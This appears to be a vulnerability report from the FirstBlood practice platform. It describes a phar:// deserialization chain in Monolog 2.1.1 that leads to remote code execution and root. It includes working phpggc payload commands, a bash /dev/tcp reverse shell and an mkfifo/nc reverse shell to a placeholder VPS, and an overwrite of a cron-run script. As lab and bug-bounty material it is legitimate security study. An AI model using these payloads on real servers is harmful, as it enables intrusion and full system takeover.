FirstBlood-#776Insecure Deserialization leading to RCE and rooting the server
This issue was discovered on FirstBlood v2.0.0 (issues patched)



On 2021-10-28, xnl-h4ck3r Level 4 reported:

Summary

There is an insecure deserialization vulnerability in the version of Monolog used on the server. This can lead to system calls being made, and also to RCE and getting root access on the server.

The insecure deserialization vulnerability exists for a few reasons:

  1. A user is able to upload a file to the server (via /vaccination-manager/pub/upload-vaccination-proof.php) that hides a serilaized PHP command. Although the server checks for an image, it doesn't stop you hiding a payload in it.
  2. The attacker is able to execute the serialized command by using the /api/checkproof.php?proof= endpoint, by specifying the phar:// schema. This treats the file as a PHP Archive and deserializes any serilaized command sin it.
  3. The backend uses a version of Monolog that is vulnerable to deserialization.

I discovered a tool to help with hiding a serialised command into an image: https://github.com/ambionics/phpggc

Through some initial fuzzing, I found the file /composer.json with the contents:

{
    "require": {
        "monolog/monolog": "2.1.1"
    }
}

Lookign at the tool list of exploits, I was able to see that Monolog 2.1.1 was exploitable:

Steps to Reproduce

There were 3 stages I went through. Firstly I excuted a command on the server to see the reponse, secondly to get a reverse shell on the server, and finally to get root access on the server.

Stage 1 - Showing RCE

  1. Use the phpggc tool to hide a payload in a valid image file in.jpg that will output the contents of /etc/passwd:
    phpggc -pj in.jpg -o payload.jpg monolog/rce2 system 'cat /etc/passwd'
  2. Go to /vaccination-manager/pub/upload-vaccination-proof.php , enter any email address, click Browse and select the generated paylod.jpg file.
  3. Click the Upload button.
  4. Look in Burp history and see the call made to endpoint /api/checkproof.php for the image just uploaded, and send to Repeater.
  5. Prefix the name of the generated file with phar:// and send the request. Observe the contents of /etc/passwd in the response:

Stage 2 - initial access to server

  1. On a vps, start netcat listening on port 8888: nc -vlp 8888
  2. Generate a new payload image with the following command to execute a reverse shell this time, on port 8888:
    phpggc -pj in.jpg -o payload.jpg monolog/rce2 system " /bin/bash -c 'bash -i > /dev/tcp/VPS_IP_ADDRESS/8888 0>&'1; "
  3. Go to /vaccination-manager/pub/upload-vaccination-proof.php , enter any email address, click Browse and select the generated paylod.jpg file.
  4. Click the Upload button.
  5. Look in Burp history and see the call made to endpoint /api/checkproof.php for the image just uploaded, and send to Repeater.
  6. Prefix the name of the generated file with phar:// and send the request. 7. On the vps, observe that a connecton was suucessful, and confirm by typing id and seeing the current user:

Stage 3 - root the server

With access to the server from stage 2, I looked throgh files and found that /app/firstblood/scheduler.php wasn't encrytped like the other PHP files. The contents implied that a cron jon on the server runs shceduler.php as a root user. So, to get root access...

  1. Set up netcat to listen on other port 4444 on another vps session.
  2. On the existing session fromn stage 2, overwrite the scheduler.php file using the command below. If scheduler.php is executed by cron it shoukd create a reverse shell on port 4444 (I had to use a different shell command to before because the previous one didn't work here for some reason):
    echo "<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc VPS_IP_ADDRESS 4444 >/tmp/f'); ?>" > scheduler.php
  3. After a minute, the cron job calls the new scheduler.php and you will observe a connection being made. Execute the id command to confirm that you now have root access:

Impact

The impact is obviously critical as the initial insecure deserialization bug enables an attacker to get RCE, but in addition with further issues that the PHP file scheduler.php is not encrypted and is run by a cron job as root, allows the attacker to root the server.

P1 CRITICAL

Endpoint: /api/checkproof.php This bug makes use of the following vulnerabilities in a chain:

  • Deserialization
  • RCE
  • Information leak/disclosure


FirstBlood ID: 34
Vulnerability Type: Deserialization

This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.

FirstBlood ID: 35
Vulnerability Type: RCE

A cronjob is set to execute the file /app/firstblood/scheduler.php every minute under the root user. This file is writable by the firstblood php pool user (fb-exec). The [checkproof bug] can be combined with this to obtain root privileges.

FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure

It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.